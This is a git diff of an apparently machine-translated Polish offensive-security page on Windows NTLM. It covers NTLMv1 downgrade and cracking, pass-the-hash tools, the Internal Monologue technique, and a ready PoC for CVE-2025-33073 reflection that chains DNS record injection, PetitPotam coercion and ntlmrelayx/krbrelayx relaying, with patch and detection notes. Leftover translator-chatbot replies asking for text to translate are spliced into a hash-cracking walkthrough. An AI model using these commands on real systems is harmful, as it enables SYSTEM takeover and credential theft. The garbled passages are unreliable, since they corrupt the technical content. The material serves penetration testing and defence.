Translated ['src/windows-hardening/ntlm/README.md'] to pl

This commit is contained in:
Translator 2025-07-17 09:36:46 +00:00
parent 05cce6b457
commit 3a03f42374

View File

@ -2,63 +2,18 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## NTLM i Kerberos *Reflection* za pomocą zserializowanych SPN-ów (CVE-2025-33073)
Windows zawiera kilka środków zaradczych, które próbują zapobiec atakom *reflection*, w których uwierzytelnienie NTLM (lub Kerberos) pochodzące z hosta jest przekazywane z powrotem do **tego samego** hosta w celu uzyskania uprawnień SYSTEM. ## Podstawowe informacje
Microsoft złamał większość publicznych łańcuchów za pomocą MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) i późniejszych poprawek, jednak **CVE-2025-33073** pokazuje, że zabezpieczenia mogą być nadal omijane poprzez nadużycie sposobu, w jaki **klient SMB obcina nazwy głównych usług (SPN)**, które zawierają *marshalled* (zserializowane) informacje o celu. W środowiskach, w których działają **Windows XP i Server 2003**, wykorzystywane są hashe LM (Lan Manager), chociaż powszechnie wiadomo, że można je łatwo skompromitować. Szczególny hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, wskazuje na sytuację, w której LM nie jest używane, reprezentując hash dla pustego ciągu.
### TL;DR błędu
1. Atakujący rejestruje **rekord A DNS**, którego etykieta koduje zserializowany SPN np.
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. Ofiara jest zmuszana do uwierzytelnienia się do tej nazwy hosta (PetitPotam, DFSCoerce itp.).
3. Gdy klient SMB przekazuje ciąg docelowy `cifs/srv11UWhRCAAAAA…` do `lsasrv!LsapCheckMarshalledTargetInfo`, wywołanie `CredUnmarshalTargetInfo` **usuwa** zserializowany blob, pozostawiając **`cifs/srv1`**.
4. `msv1_0!SspIsTargetLocalhost` (lub odpowiednik Kerberos) teraz uznaje cel za *localhost*, ponieważ krótka część hosta pasuje do nazwy komputera (`SRV1`).
5. W konsekwencji serwer ustawia `NTLMSSP_NEGOTIATE_LOCAL_CALL` i wstrzykuje **token dostępu SYSTEM LSASS** do kontekstu (dla Kerberos tworzony jest klucz sub-session oznaczony jako SYSTEM).
6. Przekazywanie tego uwierzytelnienia za pomocą `ntlmrelayx.py` **lub** `krbrelayx.py` daje pełne prawa SYSTEM na tym samym hoście.
### Szybki PoC
```bash
# Add malicious DNS record
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
-d 10.10.10.50
# Trigger authentication
PetitPotam.py -u user -p pass -d DOMAIN \
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
# Relay listener (NTLM)
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
# Relay listener (Kerberos) remove NTLM mechType first
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```
### Patch & Mitigations
* Łatka KB dla **CVE-2025-33073** dodaje sprawdzenie w `mrxsmb.sys::SmbCeCreateSrvCall`, które blokuje wszelkie połączenia SMB, których cel zawiera zserializowane informacje (`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`).
* Wymuś **podpisywanie SMB**, aby zapobiec refleksji nawet na niezałatanych hostach.
* Monitoruj rekordy DNS przypominające `*<base64>...*` i blokuj wektory wymuszenia (PetitPotam, DFSCoerce, AuthIP...).
### Detection ideas
* Przechwytywanie sieciowe z `NTLMSSP_NEGOTIATE_LOCAL_CALL`, gdzie adres IP klienta ≠ adres IP serwera.
* Kerberos AP-REQ zawierający klucz podsesji i głównego użytkownika równego nazwie hosta.
* Logowania SYSTEM Windows Event 4624/4648 natychmiast po zdalnych zapisach SMB z tego samego hosta.
## References
* [Synacktiv NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
* [MSRC CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
## Basic Information
W środowiskach, w których działają **Windows XP i Server 2003**, wykorzystywane są hashe LM (Lan Manager), chociaż powszechnie wiadomo, że mogą być łatwo skompromitowane. Szczególny hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, wskazuje na sytuację, w której LM nie jest używane, reprezentując hash dla pustego ciągu.
Domyślnie protokół uwierzytelniania **Kerberos** jest główną metodą używaną. NTLM (NT LAN Manager) wkracza w określonych okolicznościach: brak Active Directory, nieistnienie domeny, awaria Kerberos z powodu niewłaściwej konfiguracji lub gdy próby połączenia są podejmowane za pomocą adresu IP zamiast ważnej nazwy hosta. Domyślnie protokół uwierzytelniania **Kerberos** jest główną metodą używaną. NTLM (NT LAN Manager) wkracza w określonych okolicznościach: brak Active Directory, nieistnienie domeny, awaria Kerberos z powodu niewłaściwej konfiguracji lub gdy próby połączenia są podejmowane za pomocą adresu IP zamiast ważnej nazwy hosta.
Obecność nagłówka **"NTLMSSP"** w pakietach sieciowych sygnalizuje proces uwierzytelniania NTLM. Obecność nagłówka **"NTLMSSP"** w pakietach sieciowych sygnalizuje proces uwierzytelniania NTLM.
Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewnione przez konkretną DLL znajdującą się w `%windir%\Windows\System32\msv1\_0.dll`. Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewniane przez konkretny plik DLL znajdujący się w `%windir%\Windows\System32\msv1\_0.dll`.
**Key Points**: **Kluczowe punkty**:
- Hashe LM są podatne, a pusty hash LM (`AAD3B435B51404EEAAD3B435B51404EE`) oznacza jego brak użycia. - Hashe LM są podatne, a pusty hash LM (`AAD3B435B51404EEAAD3B435B51404EE`) oznacza jego brak użycia.
- Kerberos jest domyślną metodą uwierzytelniania, a NTLM używane jest tylko w określonych warunkach. - Kerberos jest domyślną metodą uwierzytelniania, a NTLM używane jest tylko w określonych warunkach.
@ -75,7 +30,7 @@ Wykonaj _secpol.msc_ -> Polityki lokalne -> Opcje zabezpieczeń -> Bezpieczeńst
![](<../../images/image (919).png>) ![](<../../images/image (919).png>)
### Registry ### Rejestr
To ustawi poziom 5: To ustawi poziom 5:
``` ```
@ -127,7 +82,7 @@ Możesz nadużyć niektóre dane uwierzytelniające/sesje, które już masz w AD
Jeśli używasz `responder`, możesz spróbować **użyć flagi `--lm`**, aby spróbować **obniżyć** **uwierzytelnienie**.\ Jeśli używasz `responder`, możesz spróbować **użyć flagi `--lm`**, aby spróbować **obniżyć** **uwierzytelnienie**.\
_Należy pamiętać, że dla tej techniki uwierzytelnienie musi być wykonane przy użyciu NTLMv1 (NTLMv2 nie jest ważne)._ _Należy pamiętać, że dla tej techniki uwierzytelnienie musi być wykonane przy użyciu NTLMv1 (NTLMv2 nie jest ważne)._
Pamiętaj, że drukarka będzie używać konta komputera podczas uwierzytelniania, a konta komputerów używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** przy użyciu powszechnych **słowników**. Ale **uwierzytelnienie NTLMv1** **używa DES** ([więcej informacji tutaj](#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz w stanie je złamać (możesz użyć [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład). Pamiętaj, że drukarka będzie używać konta komputera podczas uwierzytelnienia, a konta komputerów używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** przy użyciu powszechnych **słowników**. Ale **uwierzytelnienie NTLMv1** **używa DES** ([więcej informacji tutaj](#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz w stanie je złamać (możesz użyć [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład).
### Atak NTLMv1 z hashcat ### Atak NTLMv1 z hashcat
@ -195,7 +150,7 @@ It seems that you haven't provided the text you want translated. Please share th
586c # this is the last part 586c # this is the last part
``` ```
Please provide the text you would like me to translate. I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated.
```bash ```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c NTHASH=b4b9b02e6f09a9bd760f388b6700586c
``` ```
@ -212,7 +167,7 @@ Jeśli masz **pcap, który uchwycił udany proces uwierzytelniania**, możesz sk
## Pass-the-Hash ## Pass-the-Hash
**Gdy masz hash ofiary**, możesz go użyć do **podszywania się** pod nią.\ **Gdy masz hash ofiary**, możesz go użyć do **podszywania się** pod nią.\
Musisz użyć **narzędzia**, które **wykona** **uwierzytelnianie NTLM** przy użyciu tego **hasha**, **lub** możesz stworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, tak aby przy każdym **wykonaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz. Musisz użyć **narzędzia**, które **wykona** **uwierzytelnianie NTLM** przy użyciu tego **hasha**, **lub** możesz stworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.
**Pamiętaj, że możesz również przeprowadzać ataki Pass-the-Hash używając kont komputerowych.** **Pamiętaj, że możesz również przeprowadzać ataki Pass-the-Hash używając kont komputerowych.**
@ -226,7 +181,7 @@ To uruchomi proces, który będzie należał do użytkowników, którzy uruchomi
### Pass-the-Hash z linuxa ### Pass-the-Hash z linuxa
Możesz uzyskać wykonanie kodu na maszynach z systemem Windows, używając Pass-the-Hash z Linuxa.\ Możesz uzyskać wykonanie kodu na maszynach z Windows, używając Pass-the-Hash z Linuxa.\
[**Uzyskaj dostęp, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) [**Uzyskaj dostęp, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Skonstruowane narzędzia Impacket dla Windows ### Skonstruowane narzędzia Impacket dla Windows
@ -260,7 +215,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
``` ```
#### Invoke-TheHash #### Invoke-TheHash
Ta funkcja jest **mieszaniną wszystkich innych**. Możesz przekazać **kilka hostów**, **wykluczyć** niektórych i **wybrać** **opcję**, którą chcesz użyć (_SMBExec, WMIExec, SMBClient, SMBEnum_). Jeśli wybierzesz **dowolny** z **SMBExec** i **WMIExec**, ale **nie** podasz żadnego _**Command**_ parametru, po prostu **sprawdzi**, czy masz **wystarczające uprawnienia**. Ta funkcja jest **mieszanką wszystkich innych**. Możesz przekazać **kilka hostów**, **wykluczyć** niektórych i **wybrać** **opcję**, którą chcesz użyć (_SMBExec, WMIExec, SMBClient, SMBEnum_). Jeśli wybierzesz **dowolny** z **SMBExec** i **WMIExec**, ale **nie** podasz żadnego _**Command**_ parametru, po prostu **sprawdzi**, czy masz **wystarczające uprawnienia**.
``` ```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
``` ```
@ -274,7 +229,7 @@ To narzędzie zrobi to samo, co mimikatz (zmodyfikuje pamięć LSASS).
``` ```
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt> wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
``` ```
### Ręczne zdalne wykonywanie w systemie Windows z nazwą użytkownika i hasłem ### Ręczne zdalne wykonywanie w systemie Windows z użyciem nazwy użytkownika i hasła
{{#ref}} {{#ref}}
../lateral-movement/ ../lateral-movement/
@ -286,11 +241,11 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
## Atak Internal Monologue ## Atak Internal Monologue
Atak Internal Monologue to dyskretna technika ekstrakcji poświadczeń, która pozwala atakującemu na odzyskanie hashy NTLM z maszyny ofiary **bez bezpośredniego interakcji z procesem LSASS**. W przeciwieństwie do Mimikatz, który odczytuje hashe bezpośrednio z pamięci i jest często blokowany przez rozwiązania zabezpieczające punkt końcowy lub Credential Guard, ten atak wykorzystuje **lokalne wywołania do pakietu uwierzytelniania NTLM (MSV1_0) za pośrednictwem interfejsu Security Support Provider (SSPI)**. Atakujący najpierw **obniża ustawienia NTLM** (np. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), aby upewnić się, że NetNTLMv1 jest dozwolony. Następnie podszywa się pod istniejące tokeny użytkowników uzyskane z działających procesów i wywołuje lokalne uwierzytelnienie NTLM, aby wygenerować odpowiedzi NetNTLMv1 przy użyciu znanego wyzwania. Atak Internal Monologue to dyskretna technika ekstrakcji poświadczeń, która pozwala atakującemu na odzyskanie hashy NTLM z maszyny ofiary **bez bezpośredniego interakcji z procesem LSASS**. W przeciwieństwie do Mimikatz, który odczytuje hashe bezpośrednio z pamięci i jest często blokowany przez rozwiązania zabezpieczające na końcówkach lub Credential Guard, ten atak wykorzystuje **lokalne wywołania do pakietu uwierzytelniania NTLM (MSV1_0) za pośrednictwem interfejsu Security Support Provider (SSPI)**. Atakujący najpierw **obniża ustawienia NTLM** (np. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), aby upewnić się, że NetNTLMv1 jest dozwolony. Następnie podszywa się pod istniejące tokeny użytkowników uzyskane z działających procesów i wywołuje lokalne uwierzytelnienie NTLM, aby wygenerować odpowiedzi NetNTLMv1 przy użyciu znanego wyzwania.
Po przechwyceniu tych odpowiedzi NetNTLMv1, atakujący może szybko odzyskać oryginalne hashe NTLM przy użyciu **wstępnie obliczonych tabel tęczowych**, co umożliwia dalsze ataki Pass-the-Hash w celu ruchu bocznego. Kluczowe jest to, że atak Internal Monologue pozostaje dyskretny, ponieważ nie generuje ruchu sieciowego, nie wstrzykuje kodu ani nie wywołuje bezpośrednich zrzutów pamięci, co utrudnia obrońcom wykrycie w porównaniu do tradycyjnych metod, takich jak Mimikatz. Po przechwyceniu tych odpowiedzi NetNTLMv1, atakujący może szybko odzyskać oryginalne hashe NTLM przy użyciu **wstępnie obliczonych tabel tęczowych**, co umożliwia dalsze ataki Pass-the-Hash w celu ruchu bocznego. Kluczowe jest to, że atak Internal Monologue pozostaje dyskretny, ponieważ nie generuje ruchu sieciowego, nie wstrzykuje kodu ani nie wywołuje bezpośrednich zrzutów pamięci, co utrudnia obrońcom wykrycie w porównaniu do tradycyjnych metod, takich jak Mimikatz.
Jeśli NetNTLMv1 nie jest akceptowany — z powodu egzekwowanych polityk bezpieczeństwa, atakujący może nie być w stanie odzyskać odpowiedzi NetNTLMv1. Jeśli NetNTLMv1 nie jest akceptowany — z powodu wymuszonych polityk bezpieczeństwa, atakujący może nie być w stanie odzyskać odpowiedzi NetNTLMv1.
Aby poradzić sobie z tym przypadkiem, narzędzie Internal Monologue zostało zaktualizowane: dynamicznie pozyskuje token serwera za pomocą `AcceptSecurityContext()`, aby nadal **przechwycić odpowiedzi NetNTLMv2**, jeśli NetNTLMv1 zawiedzie. Chociaż NetNTLMv2 jest znacznie trudniejszy do złamania, nadal otwiera drogę do ataków relay lub offline brute-force w ograniczonych przypadkach. Aby poradzić sobie z tym przypadkiem, narzędzie Internal Monologue zostało zaktualizowane: dynamicznie pozyskuje token serwera za pomocą `AcceptSecurityContext()`, aby nadal **przechwycić odpowiedzi NetNTLMv2**, jeśli NetNTLMv1 zawiedzie. Chociaż NetNTLMv2 jest znacznie trudniejszy do złamania, nadal otwiera drogę do ataków relay lub offline brute-force w ograniczonych przypadkach.
@ -298,13 +253,13 @@ PoC można znaleźć w **[https://github.com/eladshamir/Internal-Monologue](http
## NTLM Relay i Responder ## NTLM Relay i Responder
**Przeczytaj bardziej szczegółowy przewodnik, jak przeprowadzić te ataki tutaj:** **Przeczytaj bardziej szczegółowy przewodnik, jak przeprowadzać te ataki tutaj:**
{{#ref}} {{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md ../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}} {{#endref}}
## Analiza wyzwań NTLM z przechwytywania sieciowego ## Analiza wyzwań NTLM z przechwyconego ruchu sieciowego
**Możesz użyć** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) **Możesz użyć** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
@ -312,10 +267,10 @@ PoC można znaleźć w **[https://github.com/eladshamir/Internal-Monologue](http
Windows zawiera kilka środków zaradczych, które próbują zapobiec atakom *reflection*, w których uwierzytelnienie NTLM (lub Kerberos) pochodzące z hosta jest przekazywane z powrotem do **tego samego** hosta w celu uzyskania uprawnień SYSTEM. Windows zawiera kilka środków zaradczych, które próbują zapobiec atakom *reflection*, w których uwierzytelnienie NTLM (lub Kerberos) pochodzące z hosta jest przekazywane z powrotem do **tego samego** hosta w celu uzyskania uprawnień SYSTEM.
Microsoft złamał większość publicznych łańcuchów za pomocą MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) i późniejszych poprawek, jednak **CVE-2025-33073** pokazuje, że zabezpieczenia mogą być nadal omijane poprzez nadużycie sposobu, w jaki **klient SMB obcina nazwy głównych usług (SPN)**, które zawierają *marshalled* (zserializowane) informacje o celu. Microsoft złamał większość publicznych łańcuchów za pomocą MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) i późniejszych poprawek, jednak **CVE-2025-33073** pokazuje, że zabezpieczenia mogą być nadal omijane poprzez nadużycie sposobu, w jaki **klient SMB obcina nazwy główne usługi (SPN)**, które zawierają *marshalled* (zserializowane) informacje o celu.
### TL;DR błędu ### TL;DR błędu
1. Atakujący rejestruje **rekord A DNS**, którego etykieta koduje zserializowany SPN np. 1. Atakujący rejestruje **rekord A DNS**, którego etykieta koduje marshalled SPN np.
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. Ofiara jest zmuszana do uwierzytelnienia się do tej nazwy hosta (PetitPotam, DFSCoerce itp.). 2. Ofiara jest zmuszana do uwierzytelnienia się do tej nazwy hosta (PetitPotam, DFSCoerce itp.).
3. Gdy klient SMB przekazuje ciąg docelowy `cifs/srv11UWhRCAAAAA…` do `lsasrv!LsapCheckMarshalledTargetInfo`, wywołanie `CredUnmarshalTargetInfo` **usuwa** zserializowany blob, pozostawiając **`cifs/srv1`**. 3. Gdy klient SMB przekazuje ciąg docelowy `cifs/srv11UWhRCAAAAA…` do `lsasrv!LsapCheckMarshalledTargetInfo`, wywołanie `CredUnmarshalTargetInfo` **usuwa** zserializowany blob, pozostawiając **`cifs/srv1`**.